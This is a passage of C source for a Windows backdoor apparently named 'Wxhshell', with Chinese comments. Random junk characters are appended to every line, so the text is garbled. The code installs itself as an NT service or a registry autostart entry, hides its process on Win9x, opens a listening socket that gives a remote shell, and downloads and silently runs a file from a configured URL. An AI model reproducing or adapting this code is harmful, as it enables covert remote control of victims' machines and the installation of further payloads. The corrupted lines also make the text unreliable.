DWORD BasePriority; n8RE
ULONG UniqueProcessId; a@v}j&
ULONG InheritedFromUniqueProcessId;
O>tz;RU
} PROCESS_BASIC_INFORMATION; ,"xr^@W
\|f3\4;!
PROCNTQSIP NtQueryInformationProcess; ,l )7]p*X
CEXD0+\q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ar[I|
Q_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =g3o@WD/G
Z.$)# vM5
HANDLE hProcess; BufXnMh.
PROCESS_BASIC_INFORMATION pbi; ;RUod .x
EU,f;H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r
Y#^C
if(NULL == hInst ) return 0; 0n)99Osq(u
vjz 'y[D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AL{r/h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hVe39BBtO
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,u@Vi0
(`cXS5R
if (!NtQueryInformationProcess) return 0; p*5QV
P
?A:0a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 69iY)Ob/
if(!hProcess) return 0; cME|Lg(J$
{?YBJnG}x
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `"s*'P398
J-U5_>S
CloseHandle(hProcess); {"vTaY@
Bbj%RF2,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
*m6h(8(7Z
if(hProcess==NULL) return 0; .EB'n{zxd
IZSJ+KO
HMODULE hMod; D3(rD]c0{
char procName[255]; 3`+Bq+
unsigned long cbNeeded; N% !TFQf
#]5A|-O^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YW7Pimks
Cw$7d:u
CloseHandle(hProcess); r-8fvBZ5
)[np{eF.k
if(strstr(procName,"services")) return 1; // 以服务启动 {7Qj+e^
yLgv<%8f
return 0; // 注册表启动 oU)Hco "_k
} 5i1E
5@~
Hpj7EaMZ_
// 主模块 A?+cdbxJw
int StartWxhshell(LPSTR lpCmdLine) g5@P
{ ={G0p=~+,p
SOCKET wsl; e$l*s/"0t
BOOL val=TRUE; 66C_XT
int port=0; 1a]QNl_x
struct sockaddr_in door; UNF@%O4_T
DcRvZH
if(wscfg.ws_autoins) Install(); E5QQI9ea
$,
vXyZ
port=atoi(lpCmdLine); pZ)N,O3
ko+fJ&$
if(port<=0) port=wscfg.ws_port; ?8-ho0f0
(b#4Z
WSADATA data; ?8!\V NC.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &[W53Lqa
E@/*eJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; JuD&121N*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :v B9z
door.sin_family = AF_INET; |7)oX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;km ^ OO$
door.sin_port = htons(port); q(\kCUy!
mkuK$Mj
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N!%[.3o\K
closesocket(wsl); n`.JI(|
return 1; ^Rh`XE
} =Q~@dP
SQ
la]%
if(listen(wsl,2) == INVALID_SOCKET) { XP^[,)E
closesocket(wsl); ,(;]8G-Yj
return 1; :y1,OR/k
} #5yz~&
Wxhshell(wsl); HAmAmEc,
WSACleanup(); $nqVE{ksV
YLv5[pV
return 0; ^^T
xx
RMs+pN<5
} Ny5$IIFe
Y6RbRcJw
// 以NT服务方式启动 /2>.*H_2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NnRX 0]
{ &a!MT^anA~
DWORD status = 0; !X4m6gRaP
DWORD specificError = 0xfffffff; S1a6uE
SsCV}[
serviceStatus.dwServiceType = SERVICE_WIN32; ?+G
/5,e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @iBaJ"*,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c>%%'c
serviceStatus.dwWin32ExitCode = 0; ^i!I0Q2yd
serviceStatus.dwServiceSpecificExitCode = 0; vw6DHN)k
serviceStatus.dwCheckPoint = 0; \rM5@
Vf
serviceStatus.dwWaitHint = 0; ")Qhg-l
;5tQV%V^Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (>C$8)v
if (hServiceStatusHandle==0) return; N
oRPvFv
fL~@v-l#~
status = GetLastError(); Sb.%B^O
if (status!=NO_ERROR) 0b}.!k9
{ q,T4-
E
serviceStatus.dwCurrentState = SERVICE_STOPPED; |+Cd2[hN
serviceStatus.dwCheckPoint = 0; )1gOO{T]h?
serviceStatus.dwWaitHint = 0; w5`EJp8MC
serviceStatus.dwWin32ExitCode = status; `Sal-|[Cv[
serviceStatus.dwServiceSpecificExitCode = specificError; & ^;3S*p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3QDz9KwCAw
return; ?$.JgG%Z+g
} :B~m^5
?izl#?
serviceStatus.dwCurrentState = SERVICE_RUNNING; p&2oe\j$,
serviceStatus.dwCheckPoint = 0; p :zRgwcn
serviceStatus.dwWaitHint = 0; #|/+znJm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }=p+X:k=
} X16vvsjw5
l#TE$d^ym
// 处理NT服务事件,比如:启动、停止 "t%Jj89a\
VOID WINAPI NTServiceHandler(DWORD fdwControl) !3)WW)"!r
{ H;MyT Vl
switch(fdwControl) `r]C%Y4?
{ =Q #d0Q
case SERVICE_CONTROL_STOP: Ff1!+P,
serviceStatus.dwWin32ExitCode = 0; D"CU J?
serviceStatus.dwCurrentState = SERVICE_STOPPED; elz0t<V
serviceStatus.dwCheckPoint = 0; ,</Kn~b
serviceStatus.dwWaitHint = 0; &l0,q=T
{ et=i@PB)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l4ru0V8s7
} 0i(c XB
return; ^s\T<;
case SERVICE_CONTROL_PAUSE: 4{ [d '-H5
serviceStatus.dwCurrentState = SERVICE_PAUSED; Mc{-2
break; z) x.6
case SERVICE_CONTROL_CONTINUE: XD Q<28^
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;KgDVq5
break; G7%f|
Y
case SERVICE_CONTROL_INTERROGATE: ~\+Bb8+hpJ
break; dOVu D(
}; ` <u2 N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @H$Sv
} PR7B
Cxm
sh*/wM
// 标准应用程序主函数 x(A8FtG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r@EHn[w
{ x/ix%!8J
.Nk5W%7]=
// 获取操作系统版本 wz>[CXpi_
OsIsNt=GetOsVer(); #^{%jlmHxJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); /[A#iTe
P=.~LZZ]89
// 从命令行安装 9.B gsV .
if(strpbrk(lpCmdLine,"iI")) Install(); R>B6@|}?
h@dy}Id
// 下载执行文件 e~geBlLar
if(wscfg.ws_downexe) { j/;wxKW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]f>0P3O5&
WinExec(wscfg.ws_filenam,SW_HIDE); pKU(4&BxX
} :LCyxLI
{DZ xK(
if(!OsIsNt) { P !I Lji!
// 如果时win9x,隐藏进程并且设置为注册表启动 >[l2KD
HideProc(); 1A[(R T]
StartWxhshell(lpCmdLine);
Vfw H:
} 6!SW]#sD
else O8~RfB
if(StartFromService()) f)mOeD*u|
// 以服务方式启动 0O a&vx
StartServiceCtrlDispatcher(DispatchTable); dDa&:L
else 0U8'dYf
// 普通方式启动 2"c 5<
StartWxhshell(lpCmdLine); nl~Z,Y$
'Y/kF1,*
return 0; &Q* 7
}